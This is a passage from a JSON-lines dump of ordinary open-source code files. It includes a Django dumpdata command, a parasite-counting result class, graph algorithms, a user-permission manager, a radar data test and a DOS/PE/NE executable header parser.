Queue_infile=os.path.indir(\"./Queue\")\r\n## if Queue_infile is True:\r\n## DIR =os.path.abspath(os.path.realpath(\"Queue\"))\r\n## length=len(os.\r\n## \r\n", "source": "Nova-Striker/discord-bot", "license": "Apache-2.0"} {"text": "# This technical data was produced for the U. S. Government under Contract No. W15P7T-13-C-F600, and\n# is subject to the Rights in Technical Data-Noncommercial Items clause at DFARS 252.227-7013 (FEB 2012)\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.core.management import call_command\n\nclass Command(BaseCommand):\n #args = ''\n help = 'Runs a standard dumpdata process'\n\n def handle(self, *args, **options):\n models_to_exclude = ['auth.permission', 'contenttypes']\n\n options['exclude'] = [] if not options.get('exclude') else options.get('exclude')\n map(options['exclude'].append, models_to_exclude)\n options['natural']= True\n options['indent']= options.get('indent') or 4\n\n call_command('dumpdata',*args, **options)\n self.stdout.write('Successfully dumped the data.\\n')\n", "source": "mcenirm/geoevents", "license": "MIT"} {"text": "from programs.viz import plot_labels, make_crop\nimport pandas as pd\nfrom pathlib import Path\nimport time\n\n\nclass Result:\n def __init__(\n self,\n id,\n fname,\n img,\n pred,\n n_digits=2,\n color_dict={\n 'uninfected': '#808080',\n 'ring': '#f77189',\n 'trophozoite': '#50b131',\n 'schizont': '#3ba3ec',\n 'gametocyte': '#ffd92f'\n },\n cutoffs=[1.5, 2.5]):\n self.id = id\n self.fname = fname\n self.img = img\n self.pred = pred\n self.n_digits = n_digits\n self.color_dict = color_dict\n self.cutoffs = cutoffs\n\n def __len__(self):\n return len(self.pred)\n\n def run(self, upload_folder):\n self.path = upload_folder / self.id\n self.path.mkdir(exist_ok=True)\n\n # infected cells\n self.counts = self.pred['classes'].value_counts()\n self.n_infected = self.counts[\n 'infected'] if 'infected' in self.counts.keys() else 0\n self.n_uninfected = self.counts[\n 'uninfected'] if 'uninfected' in self.counts.keys() else 0\n self.parasitemia = round(self.n_infected / len(self), self.n_digits)\n\n # life stages\n self.life_stage_counts = self.pred['life_stage_c'].value_counts()\n self.asex = self.get_asexuals(upload_folder)\n\n # plotting\n self.plot = Path(self.id) / 'full.png'\n self.plot_prediction(save_to=upload_folder / self.plot)\n\n def to_output(self):\n return {\n 'id': int(self.id),\n 'name': str(self.fname),\n 'n_cells': int(len(self)),\n 'n_infected': int(self.n_infected),\n 'n_uninfected': int(self.n_uninfected),\n 'parasitemia': float(self.parasitemia),\n 'plot': str(self.plot),\n 'n_ring': int(self.life_stage_counts.get('ring', 0)),\n 'n_troph': int(self.life_stage_counts.get('trophozoite', 0)),\n 'n_schizont': int(self.life_stage_counts.get('schizont', 0)),\n 'n_gam': int(self.life_stage_counts.get('gametocyte', 0)),\n 'asex_stages': list(self.asex['life_stage']),\n 'asex_images': list(self.asex['filename'])\n }\n\n def get_asexuals(self,\n upload_folder,\n stages=['ring', 'trophozoite', 'schizont']):\n asex = self.pred.loc[self.pred['life_stage_c'].isin(\n stages)].reset_index()\n asex['filename'] = asex['index'].apply(\n lambda x: str(Path(self.id) / ('%s.png' % x)))\n asex.apply(lambda x: make_crop(self.img, x['boxes'], upload_folder / x[\n 'filename']),\n axis=1)\n asex.sort_values('life_stage', inplace=True)\n asex['life_stage'] = asex['life_stage'].apply(\n lambda x: round(x, self.n_digits))\n return asex[['filename', 'life_stage']]\n\n def plot_prediction(self, save_to, **kwargs):\n plot_labels(self.img, {\n 'boxes': self.pred['boxes'].tolist(),\n 'labels': self.pred['life_stage_c'].tolist()\n },\n color_dict=self.color_dict,\n save_to=save_to,\n **kwargs)\n return save_to\n", "source": "ca2315/PlasmoCount", "license": "BSD-3-Clause"} {"text": "from collections import defaultdict\nimport copy\n\ndef get_next(current, d, finish):\n flag=False\n if len(d[current])==1: \n if d[current][0]==finish and len(d.keys())==1:\n flag= True\n else:\n new_d = copy.deepcopy(d)\n new_current = d[current][0]\n new_d.pop(current)\n flag=get_next(new_current, new_d, finish)\n elif len(d[current])>1: \n for index, c in enumerate(d[current]):\n new_d = copy.deepcopy(d)\n new_d[current].pop(index)\n new_current = c\n flag=get_next(new_current, new_d, finish)\n \n return flag\n\ndef can_get_chained(input):\n words = [(word[0], word[-1]) for word in input]\n \n d = defaultdict(list)\n for k, v in words:\n d[k].append(v)\n\n #Start with any word\n start = list(d.items())[0][0]\n \n return get_next(start, d, start)\n\ndef main():\n can_get_chained(['eggs', 'karat', 'apple', 'snack', 'tuna'])\n\nif __name__== \"__main__\":\n main()", "source": "ktaletsk/daily-problem", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\nimport os\nimport json\n\nimport torch\n\nBASE_DIR = os.path.abspath(os.path.dirname(__file__))\n\nclass Config:\n def __init__(self, json_file):\n self.config = json.loads(open(json_file).read())\n self.device = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\")\n self.cpu_device = torch.device(\"cpu\")\n\n @property\n def shuffle_before_epoch_enable(self):\n return self.config['Training']['shuffle_before_epoch_enable']\n\n @property\n def is_LOMO(self):\n return 'test_allele' in self.config['Data']\n\n @property\n def test_allele(self):\n return self.config['Data'].get('test_allele', None)\n\n @property\n def weight_decay(self):\n return self.config['Training']['weight_decay']\n\n @property\n def bind_core_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['bind_core_file'])\n\n @property\n def max_len_hla_A(self):\n return self.config['Data']['max_len_hla_A']\n\n @property\n def max_len_hla_B(self):\n return self.config['Data']['max_len_hla_B']\n\n @property\n def max_len_pep(self):\n return self.config['Data']['max_len_pep']\n\n @property\n def validation_ratio(self):\n return self.config['Data']['validation_ratio']\n\n @property\n def batch_size(self):\n return self.config['Training']['batch_size']\n\n @property\n def working_dir(self):\n return os.path.join(BASE_DIR, self.config['Paths']['working_dir'])\n\n @property\n def data_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['data_file'])\n\n @property\n def test_file(self):\n return os.path.join(BASE_DIR, 'dataset', self.config['Data']['test_file'])\n\n @property\n def model_save_path(self):\n return os.path.join(self.working_dir, 'best_model.pytorch')\n\n @property\n def model_config(self):\n return self.config['Model']\n\n @property\n def grad_clip(self):\n return self.config['Training']['grad_clip']\n\n @property\n def start_lr(self):\n return self.config['Training']['start_lr']\n\n @property\n def min_lr(self):\n return self.config['Training']['min_lr']\n\n @property\n def epochs(self):\n return self.config['Training']['epochs']\n\n @property\n def loss_delta(self):\n return self.config['Training']['loss_delta']\n\n @property\n def seq_encode_dim(self):\n return self.model_config['seq_encoding_dim']\n\n @property\n def encoding_method(self):\n return self.model_config['encoding_method']\n\n @property\n def do_train(self):\n return self.config['do_train']\n\n @property\n def do_test(self):\n return self.config['do_test']\n", "source": "pcpLiu/DeepSeqPanII", "license": "MIT"} {"text": "# _*_ coding: utf-8 _*_\n\"\"\"\n\tCreated by lr on 2019/08/29.\n\t\u6b64\u6a21\u5757\u7528\u6765\u7f16\u5199flasgger\u4e2dapi\u5217\u8868\u4e0b\u7684\u8be6\u7ec6\u64cd\u4f5c\u4fe1\u606f\n\"\"\"\nfrom app.api_docs.v1 import user, client, token, \\\n\t\t\t\t\t\tbanner, theme, product, category, \\\n\t\t\t\t\t\taddress, order, pay\nfrom app.api_docs.cms import cms_user, file\n\n__author__ = 'lr'", "source": "linrong/flask-server", "license": "MIT"} {"text": "import collections\n\ndef SCCSearch(G):\n for v in G:\n G[v]['n']=G[v]['p']=0\n step=0\n S=collections.deque()\n res=[]\n for u in G:\n if (G[u]['n']==0):\n SCCSearch_r(G,u,step,S,res)\n return res\n\ndef SCCSearch_r(G,u,step,S,res):\n G[u]['p']=G[u]['n']=step\n step=step+1\n S.append(u)\n for v in G[u]['adj']:\n if (G[v]['n']==0):\n SCCSearch_r(G,v,step,S,res)\n G[u]['p']=min(G[u]['p'],\n G[v]['p'])\n elif (G[v]['n']\n#------------------------------------------------------------------------------\n\n\n# Enthought library imports.\nfrom pyface.action.api import Action\nfrom traits.api import Bool, Event, HasTraits, provides, \\\n Instance, List, Unicode\n\n# Local imports.\nfrom apptools.permissions.i_user import IUser\nfrom apptools.permissions.i_user_manager import IUserManager\nfrom apptools.permissions.package_globals import get_permissions_manager\nfrom apptools.permissions.permission import ManageUsersPermission\nfrom .i_user_database import IUserDatabase\n\n\n@provides(IUserManager)\nclass UserManager(HasTraits):\n \"\"\"The default user manager implementation.\"\"\"\n\n\n\n #### 'IUserManager' interface #############################################\n\n management_actions = List(Instance(Action))\n\n user = Instance(IUser)\n\n user_actions = List(Instance(Action))\n\n user_authenticated = Event(IUser)\n\n #### 'UserManager' interface ##############################################\n\n # The user database.\n user_db = Instance(IUserDatabase)\n\n ###########################################################################\n # 'IUserManager' interface.\n ###########################################################################\n\n def bootstrapping(self):\n \"\"\"Return True if we are bootstrapping, ie. no users have been defined.\n \"\"\"\n\n return self.user_db.bootstrapping()\n\n def authenticate_user(self):\n \"\"\"Authenticate the user.\"\"\"\n\n if self.user_db.authenticate_user(self.user):\n self.user.authenticated = True\n\n # Tell the policy manager before everybody else.\n get_permissions_manager().policy_manager.load_policy(self.user)\n\n self.user_authenticated = self.user\n\n def unauthenticate_user(self):\n \"\"\"Unauthenticate the user.\"\"\"\n\n if self.user.authenticated and self.user_db.unauthenticate_user(self.user):\n self.user.authenticated = False\n\n # Tell the policy manager before everybody else.\n get_permissions_manager().policy_manager.load_policy(None)\n\n self.user_authenticated = None\n\n def matching_user(self, name):\n \"\"\"Select a user.\"\"\"\n\n return self.user_db.matching_user(name)\n\n ###########################################################################\n # Trait handlers.\n ###########################################################################\n\n def _management_actions_default(self):\n \"\"\"Return the list of management actions.\"\"\"\n\n from apptools.permissions.secure_proxy import SecureProxy\n\n user_db = self.user_db\n actions = []\n perm = ManageUsersPermission()\n\n if user_db.can_add_user:\n act = Action(name=\"&Add a User...\", on_perform=user_db.add_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n if user_db.can_modify_user:\n act = Action(name=\"&Modify a User...\",\n on_perform=user_db.modify_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n if user_db.can_delete_user:\n act = Action(name=\"&Delete a User...\",\n on_perform=user_db.delete_user)\n actions.append(SecureProxy(act, permissions=[perm], show=False))\n\n return actions\n\n def _user_actions_default(self):\n \"\"\"Return the list of user actions.\"\"\"\n\n actions = []\n\n if self.user_db.can_change_password:\n actions.append(_ChangePasswordAction())\n\n return actions\n\n def _user_default(self):\n \"\"\"Return the default current user.\"\"\"\n\n return self.user_db.user_factory()\n\n def _user_db_default(self):\n \"\"\"Return the default user database.\"\"\"\n\n # Defer to an external user database if there is one.\n try:\n from apptools.permissions.external.user_database import UserDatabase\n except ImportError:\n from apptools.permissions.default.user_database import UserDatabase\n\n return UserDatabase()\n\n\nclass _ChangePasswordAction(Action):\n \"\"\"An action that allows the current user to change their password. It\n isn't exported through actions/api.py because it is specific to this user\n manager implementation.\"\"\"\n\n #### 'Action' interface ###################################################\n\n enabled = Bool(False)\n\n name = Unicode(\"&Change Password...\")\n\n ###########################################################################\n # 'object' interface.\n ###########################################################################\n\n def __init__(self, **traits):\n \"\"\"Initialise the object.\"\"\"\n\n super(_ChangePasswordAction, self).__init__(**traits)\n\n get_permissions_manager().user_manager.on_trait_event(self._refresh_enabled, 'user_authenticated')\n\n ###########################################################################\n # 'Action' interface.\n ###########################################################################\n\n def perform(self, event):\n \"\"\"Perform the action.\"\"\"\n\n um = get_permissions_manager().user_manager\n um.user_db.change_password(um.user)\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _refresh_enabled(self, user):\n \"\"\"Invoked whenever the current user's authorisation state changes.\"\"\"\n\n self.enabled = user is not None\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import sys\nfrom itertools import chain\nfrom pathlib import Path\n\nimport pytest\n\nimport acconeer.exptool as et\n\n\nHERE = Path(__file__).parent\npath = (HERE / \"..\" / \"..\" / \"utils\").resolve()\nsys.path.append(path.as_posix())\n\nfrom convert_to_csv import record_to_csv # noqa: E402\n\n\n@pytest.mark.parametrize(\"test_file\", chain(HERE.glob(\"**/*.h5\"), HERE.glob(\"**/*.npz\")))\ndef test_csv_conversion_is_exact(test_file):\n # The idea is to test the csv conversion corresponds exactly to the data file.\n # Aimed to catch rounding errors and flipped cols/rows.\n record = et.recording.load(test_file)\n if record.mode == et.Mode.SPARSE:\n pytest.skip(\"CSV-ifying of sparse data is not supported at this moment.\")\n\n data = record.data.squeeze()\n assert data.ndim == 2\n\n csv_table = record_to_csv(record)\n csv_table_sac = record_to_csv(record, sweep_as_column=True)\n\n assert data.shape == csv_table.shape\n assert data.T.shape == csv_table_sac.shape\n\n for row in range(data.shape[0]):\n for col in range(data.shape[1]):\n assert data[row, col] == complex(csv_table[row, col])\n assert data[row, col] == complex(csv_table_sac[col, row])\n", "source": "DiwakerJha/acconeer-python-exploration", "license": "BSD-3-Clause-Clear"} {"text": "from app.vars.client import client\nfrom app.helpers import Notify, params \nfrom app.filesystem import cfg\n\n@client.command()\nasync def template(ctx):\n notify = Notify(ctx=ctx, title='Template File...')\n \n", "source": "Hacker-1202/Selfium", "license": "MIT"} {"text": "import logging, operator, functools, itertools, array, ptypes\nfrom ptypes import *\n\nfrom .headers import *\nfrom . import portable\n\nclass Signature(pint.enum, uint16):\n # We'll just store all signature types here\n _values_ = [\n ('IMAGE_DOS_SIGNATURE', 0x5a4d),\n ('IMAGE_OS2_SIGNATURE', 0x454e),\n ('IMAGE_OS2_SIGNATURE_LE', 0x454c),\n ('IMAGE_NT_SIGNATURE', 0x4550),\n ]\n\nclass IMAGE_DOS_HEADER(pstruct.type):\n class e_magic(Signature): pass\n\n class Relocation(pstruct.type):\n _fields_ = [\n ( uint16, 'offset' ),\n ( uint16, 'segment' ),\n ]\n\n def linear(self):\n return self['segment'].int()*0x10 + self['offset'].int()\n\n def decode(self, **attrs):\n p = self.getparent(ptype.boundary)\n attrs.setdefault('offset', p['Stub'].getoffset()+self.linear())\n return self.new(ptype.undefined, **attrs)\n\n def summary(self):\n seg, offset = self['segment'], self['offset']\n return \"(segment:offset) {:04x}:{:04x} (linear) {:05x}\".format(seg.int(), offset.int(), (seg.int() * 0x10 + offset.int()) & 0xfffff)\n\n def repr(self):\n return self.summary()\n\n class Oem(pstruct.type):\n _fields_ = [\n ( dyn.array(uint16, 4), 'e_reserved' ),\n ( uint16, 'e_oemid' ),\n ( uint16, 'e_oeminfo' ),\n ( dyn.array(uint16, 10), 'e_reserved2' ),\n ]\n\n # FIXME: this implementation should be properly tested as there's a chance it could be fucked with\n def __e_oem(self):\n res = self['e_lfarlc'].li\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno']\n\n # if our calculated size for the field directly matches the Oem\n # structure, then this for sure is going to be a PECOFF executable.\n t = IMAGE_DOS_HEADER.Oem\n if res.int() == sum(self[fld].li.size() for fld in fields) + t().a.size() + 4:\n return t\n\n # otherwise we need to pad it with whatever the input claims it should be\n return dyn.block(max(0, res.int() - sum(self[fld].li.size() for fld in fields)))\n\n def __e_lfanew(self):\n paragraphs, relocations = self['e_cparhdr'].li, self['e_lfarlc'].li\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno', 'e_oem']\n\n # if everything matches, then there's a pointer here for PECOFF executables\n if 0x10 * paragraphs.int() == relocations.int() == sum(self[fld].li.size() for fld in fields) + 4:\n return dyn.rpointer(Next, self, pint.uint32_t)\n\n # otherwise, there isn't anything here.\n return pint.uint_t\n\n def __e_rlc(self):\n res = self['e_crlc'].li\n return dyn.array(IMAGE_DOS_HEADER.Relocation, res.int())\n\n def __e_parhdr(self):\n res = 0x10 * self['e_cparhdr'].li.int()\n\n fields = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr', 'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs', 'e_lfarlc', 'e_ovno']\n fields+= ['e_oem', 'e_rlc', 'e_lfanew']\n return dyn.block(res - sum(self[fld].li.size() for fld in fields))\n\n def filesize(self):\n res = self['e_cp'].li.int()\n if res > 0:\n cp = res - 1\n return cp * 0x200 + self['e_cblp'].li.int()\n return 0\n\n def headersize(self):\n res = self['e_cparhdr'].li\n return res.int() * 0x10\n\n def datasize(self):\n res = self.headersize()\n return (self.filesize() - res) if res > 0 else 0\n\n def __e_lfarlc(self):\n res = self['e_crlc'].li\n t = dyn.array(IMAGE_DOS_HEADER.Relocation, res.int())\n return dyn.rpointer(t, self, uint16)\n\n #e_cparhdr << 4\n #e_cp << 9\n _fields_ = [\n ( e_magic, 'e_magic' ),\n ( uint16, 'e_cblp' ), # bytes in last page / len mod 512 / UsedBytesInLastPage\n ( uint16, 'e_cp' ), # pages / 512b pagees / FileSizeInPages\n ( uint16, 'e_crlc' ), # relocation count / reloc entries count / NumberOfRelocationItems\n ( uint16, 'e_cparhdr' ), # header size in paragraphs (paragraph=0x10) / number of paragraphs before image / HeaderSizeInParagraphs\n ( uint16, 'e_minalloc' ), # required paragraphs / minimum number of bss paragraphs / MinimumExtraParagraphs\n ( uint16, 'e_maxalloc' ), # requested paragraphs / maximum number of bss paragraphs / MaximumExtraParagraphs\n ( uint16, 'e_ss' ), # ss / stack of image / InitialRelativeSS\n ( uint16, 'e_sp' ), # sp / sp of image / InitialSP\n ( uint16, 'e_csum' ), # checksum / checksum (ignored) / Checksum\n ( uint16, 'e_ip' ), # ip / ip of entry / InitialIP\n ( uint16, 'e_cs' ), # cs / cs of entry / InitialrmwwelativeIp\n ( __e_lfarlc, 'e_lfarlc' ), # relocation table\n\n ( uint16, 'e_ovno'), # overlay number\n #( uint32, 'EXE_SYM_TAB'), # from inc/exe.inc\n\n # all the data below here changes based on the linker:\n # Borland, ARJ, LZEXE, PKLITE, LHARC, LHA, CRUNCH, BSA, LARC, etc..\n ( __e_oem, 'e_oem'), # oem and reserved data\n ( __e_lfanew, 'e_lfanew'),\n ( __e_rlc, 'e_rlc' ), # relocations?\n ( __e_parhdr, 'e_parhdr'),\n ]\n\n### What file format the next header is\nclass NextHeader(ptype.definition):\n cache = {}\n\n### What file format the data is\nclass NextData(ptype.definition):\n cache = {}\n\nclass Next(pstruct.type):\n def __Header(self):\n t = self['Signature'].li.serialize()\n return NextHeader.withdefault(t, type=t)\n\n def __Data(self):\n t = self['Signature'].li.serialize()\n return NextData.withdefault(t, type=t)\n\n _fields_ = [\n (Signature, 'Signature'),\n (__Header, 'Header'),\n (__Data, 'Data'),\n ]\n\n def Header(self):\n return self['Header']\n\n def Data(self):\n return self['Data']\n\n## Portable Executable (PE)\n@NextHeader.define\nclass IMAGE_NT_HEADERS(pstruct.type, Header):\n type = b'PE'\n\n def __Padding(self):\n '''Figure out the PE header size and pad according to SizeOfHeaders'''\n p = self.getparent(File)\n\n sz = p['Header']['e_lfanew'].li.int()\n opt = self['OptionalHeader'].li\n\n f = functools.partial(operator.getitem, self)\n res = map(f, ('SignaturePadding', 'FileHeader', 'OptionalHeader', 'DataDirectory', 'Sections'))\n res = sum(map(operator.methodcaller('blocksize'), res))\n res += 2\n return dyn.block(opt['SizeOfHeaders'].int() - res - sz)\n\n def __DataDirectory(self):\n cls = self.__class__\n length = self['OptionalHeader'].li['NumberOfRvaAndSizes'].int()\n if length > 0x10: # XXX\n logging.warning(\"{:s} : OptionalHeader.NumberOfRvaAndSizes specified >0x10 entries ({:#x}) for the DataDirectory. Assuming the maximum of 0x10.\".format('.'.join((cls.__module__, cls.__name__)), length))\n length = 0x10\n return dyn.clone(portable.DataDirectory, length=length)\n\n def __Sections(self):\n header = self['FileHeader'].li\n length = header['NumberOfSections'].int()\n return dyn.clone(portable.SectionTableArray, length=length)\n\n _fields_ = [\n (uint16, 'SignaturePadding'),\n (portable.IMAGE_FILE_HEADER, 'FileHeader'),\n (portable.IMAGE_OPTIONAL_HEADER, 'OptionalHeader'),\n (__DataDirectory, 'DataDirectory'),\n (__Sections, 'Sections'),\n (__Padding, 'Padding'),\n ]\n\n def FileHeader(self):\n '''Return the FileHeader which contains a number of sizes used by the file.'''\n return self['FileHeader']\n\n def getaddressbyoffset(self, offset):\n section = self['Sections'].getsectionbyoffset(offset)\n return section.getaddressbyoffset(offset)\n\n def getoffsetbyaddress(self, address):\n section = self['Sections'].getsectionbyaddress(address)\n return section.getoffsetbyaddress(address)\n\n def loadconfig(self):\n return self['DataDirectory'][10]['Address'].d.li\n\n def tls(self):\n return self['DataDirectory'][9]['Address'].d.li\n\n def relocateable(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'DYNAMIC_BASE' in characteristics\n\n def has_seh(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'NO_SEH' not in characteristics\n\n def has_nx(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'NX_COMPAT' in characteristics\n\n def has_integrity(self):\n characteristics = self['OptionalHeader']['DllCharacteristics']\n return 'FORCE_INTEGRITY' in characteristics\n\n def is64(self):\n return self['OptionalHeader'].li.is64()\n\n def checksum(self):\n p = self.getparent(File)\n res = self['OptionalHeader']['Checksum']\n\n # Make a copy of our checksum initialized to 0\n field = res.copy(offset=res.offset - p.offset).set(0)\n\n # Make a copy of our File header, and overwrite the original\n # checksum with 0 so that we can calculate what the checksum\n # is supposed to be.\n data = bytearray(p.serialize())\n data[field.offset : field.offset + field.size()] = field.serialize()\n\n # Pad the data so that it's a multiple of a dword\n res = 4 - len(data) % 4\n padding = b'\\0' * (res % 4)\n\n # Calculate 16-bit checksum\n res = sum(array.array('I' if len(array.array('I', 4 * b'\\0')) > 1 else 'H', bytes(data) + padding))\n checksum = len(data)\n checksum += res & 0xffff\n checksum += res // 0x10000\n checksum += checksum // 0x10000\n checksum &= 0xffff\n\n # Clamp the result to 32-bits\n return checksum & 0xffffffff\n\n def Machine(self):\n return self['FileHeader']['Machine']\nPortable = IMAGE_NT_HEADERS64 = IMAGE_NT_HEADERS\n\nclass SegmentEntry(pstruct.type):\n '''\n Base class for a section entry that both memory-backed and file-backed\n entries inherit from.\n '''\n def properties(self):\n res = super(SegmentEntry, self).properties()\n if hasattr(self, 'Section'):\n res['SectionName'] = self.Section['Name'].str()\n return res\n\nclass MemorySegmentEntry(SegmentEntry):\n '''\n This SegmentEntry represents the structure of a segment that has been\n already mapped into memory. This honors the SectionAlignment field from\n the OptionalHeader when padding the segment's data.\n '''\n noncontiguous = True\n def __Padding(self):\n p = self.getparent(Next)\n header = p.Header()\n optionalheader = header['OptionalHeader'].li\n return dyn.align(optionalheader['SectionAlignment'].int(), undefined=True)\n\n _fields_ = [\n (__Padding, 'Padding'),\n (lambda self: dyn.block(self.Section.getloadedsize()), 'Data'),\n ]\n\nclass FileSegmentEntry(SegmentEntry):\n '''\n This SegmentEntry represents the structure of a segment that is on the\n disk and hasn't been mapped into memory. This honors the FileAlignment\n field from the OptionalHeader when padding the segment's data.\n '''\n def __Padding(self):\n p = self.getparent(Next)\n header = p.Header()\n optionalheader = header['OptionalHeader'].li\n return dyn.align(optionalheader['FileAlignment'].int(), undefined=True)\n\n _fields_ = [\n (__Padding, 'Padding'),\n (lambda self: dyn.block(self.Section.getreadsize()), 'Data'),\n ]\n\nclass SegmentTableArray(parray.type):\n '''\n This is a simple array of segment entries where each entry is individually\n tied directly to the SectionTableEntry that it is associated with. Each\n entry is aligned depending on whether it is being loaded from disk or has\n been already loaded into memory.\n '''\n def _object_(self):\n p = self.getparent(Next)\n header = p.Header()\n sections = header['Sections']\n entry = MemorySegmentEntry if isinstance(self.source, ptypes.provider.memorybase) else FileSegmentEntry\n return dyn.clone(entry, Section=sections[len(self.value)])\n\n@NextData.define\nclass IMAGE_NT_DATA(pstruct.type, Header):\n type = b'PE'\n\n def __Segments(self):\n header = self.p.Header()\n fileheader = header['FileHeader'].li\n\n # Warn the user if we're unable to determine whether the source is a\n # file-backed or memory-backed provider.\n if all(not isinstance(self.source, item) for item in {ptypes.provider.memorybase, ptypes.provider.fileobj}):\n cls = self.__class__\n logging.warning(\"{:s} : Unknown ptype source.. treating as a fileobj : {!r}\".format('.'.join((cls.__module__, cls.__name__)), self.source))\n\n return dyn.clone(SegmentTableArray, length=fileheader['NumberOfSections'].int())\n\n def __CertificatePadding(self):\n header = self.p.Header()\n if len(header['DataDirectory']) < 4:\n return ptype.undefined\n\n res = header['DataDirectory'][4]\n offset, size = res['Address'].int(), res['Size'].int()\n if offset == 0 or isinstance(self.source, ptypes.provider.memorybase):\n return ptype.undefined\n\n if isinstance(self.source, ptypes.provider.bounded) and offset < self.source.size():\n res = self['Segments'].li.getoffset() + self['Segments'].blocksize()\n return dyn.block(offset - res)\n\n return ptype.undefined\n\n def __Certificate(self):\n header = self.p.Header()\n if len(header['DataDirectory']) < 4:\n return ptype.undefined\n\n res = header['DataDirectory'][4]\n offset, size = res['Address'].int(), res['Size'].int()\n if offset == 0 or isinstance(self.source, ptypes.provider.memorybase):\n return ptype.undefined\n\n if isinstance(self.source, ptypes.provider.bounded) and offset < self.source.size():\n return dyn.clone(parray.block, _object_=portable.headers.Certificate, blocksize=lambda self, size=size: size)\n\n return ptype.undefined\n\n _fields_ = [\n (__Segments, 'Segments'),\n (__CertificatePadding, 'CertificatePadding'),\n (__Certificate, 'Certificate'),\n ]\n\n@NextHeader.define\nclass DosExtender(pstruct.type, Header):\n type = b'DX'\n _fields_ = [\n (word, 'MinRModeParams'),\n (word, 'MaxRModeParams'),\n\n (word, 'MinIBuffSize'),\n (word, 'MaxIBuffSize'),\n (word, 'NIStacks'),\n (word, 'IStackSize'),\n (dword, 'EndRModeOffset'),\n (word, 'CallBuffSize'),\n (word, 'Flags'),\n (word, 'UnprivFlags'),\n (dyn.block(104), 'Reserv'),\n ]\n\n@NextHeader.define\nclass PharLap(pstruct.type, Header):\n type = b'MP'\n _fields_ = [\n (word, 'SizeRemaind'),\n (word, 'ImageSize'),\n (word, 'NRelocs'),\n (word, 'HeadSize'),\n (word, 'MinExtraPages'),\n (dword, 'ESP'),\n (word, 'CheckSum'),\n (dword, 'EIP'),\n (word, 'FirstReloc'),\n (word, 'NOverlay'),\n (word, 'Reserved'),\n ]\n\n class SegInfo(pstruct.type):\n _fields_ = [\n (word, 'Selector'),\n (word, 'Flags'),\n (dword, 'BaseOff'),\n (dword, 'MinAlloc'),\n ]\n\n class RunTimeParams(DosExtender): pass\n\n class RepeatBlock(pstruct.type):\n _fields_ = [\n (word, 'Count'),\n (lambda s: dyn.block(s['Count'].li.int()), 'String'),\n ]\n\n@NextHeader.define\nclass PharLap3(PharLap, Header):\n type = b'P3'\n\n class OffsetSize(pstruct.type):\n def __Offset(self):\n t = getattr(self, '_object_', ptype.block)\n return dyn.rpointer(lambda _: dyn.clone(t, blocksize=lambda _:self['Size'].li.int()), self.getparent(PharLap3), dword)\n\n _fields_ = [\n (__Offset, 'Offset'),\n (dword, 'Size'),\n ]\n\n def summary(self):\n return '{:#x}:{:+#x}'.format(self['Offset'].int(), self['Size'].int())\n\n _fields_ = [\n (word, 'Level'),\n (word, 'HeaderSize'),\n (dword, 'FileSize'),\n (word, 'CheckSum'),\n\n (dyn.clone(OffsetSize, _object_=PharLap.RunTimeParams), 'RunTimeParams'),\n (OffsetSize, 'Reloc'),\n (dyn.clone(OffsetSize, _object_=dyn.clone(parray.block, _object_=PharLap.SegInfo)), 'SegInfo'),\n (word, 'SegEntrySize'),\n (OffsetSize, 'Image'),\n (OffsetSize, 'SymTab'),\n (OffsetSize, 'GDTLoc'),\n (OffsetSize, 'LDTLoc'),\n (OffsetSize, 'IDTLoc'),\n (OffsetSize, 'TSSLoc'),\n\n (dword, 'MinExtraPages'),\n (dword, 'MaxExtraPages'),\n\n (dword, 'Base'),\n (dword, 'ESP'),\n (word, 'SS'),\n (dword, 'EIP'),\n (word, 'CS'),\n (word, 'LDT'),\n (word, 'TSS'),\n\n (word, 'Flags'),\n (dword, 'MemReq'),\n (dword, 'Checksum32'),\n (dword, 'StackSize'),\n (dyn.block(0x100), 'Reserv'),\n ]\n\n@NextHeader.define\nclass NeHeader(pstruct.type):\n type = b'NE'\n class NE_Pointer(pstruct.type):\n _fields_ = [\n ( uint16, 'Index' ),\n ( uint16, 'Offset' )\n ]\n\n class NE_Version(pstruct.type):\n _fields_ = [\n ( uint8, 'Minor' ),\n ( uint8, 'Major' )\n ]\n\n _fields_ = [\n ( uint8, 'LinkVersion' ),\n ( uint8, 'LinkRevision' ),\n ( uint16, 'EntryOffset' ),\n ( uint16, 'EntryLength' ),\n ( uint32, 'CRC' ),\n ( uint8, 'ProgramFlags' ),\n ( uint8, 'ApplicationFlags' ),\n ( uint8, 'AutoDataSegmentIndex' ),\n ( uint16, 'HeapSize' ),\n ( uint16, 'StackSize' ),\n ( NE_Pointer, 'EntryPointer' ),\n ( NE_Pointer, 'StackPointer' ),\n ( uint16, 'SegmentCount' ),\n ( uint16, 'ModuleCount' ),\n ( uint16, 'NRNamesSize' ),\n ( uint16, 'SegmentOffset' ),\n ( uint16, 'ResourceOffset' ),\n ( uint16, 'RNamesOffset' ),\n ( uint16, 'ModuleOffset' ),\n ( uint16, 'ImportOffset' ),\n ( uint32, 'NRNamesOffset' ),\n ( uint16, 'MoveableEntryPointcount' ),\n ( uint16, 'AlignmentSize' ),\n ( uint16, 'ResourceCount' ),\n ( uint8, 'TargetOS' ),\n ( uint8, 'OS2_Flags' ),\n ( uint16, 'ReturnThunksOffset' ),\n ( uint16, 'SegmentThunksOffset' 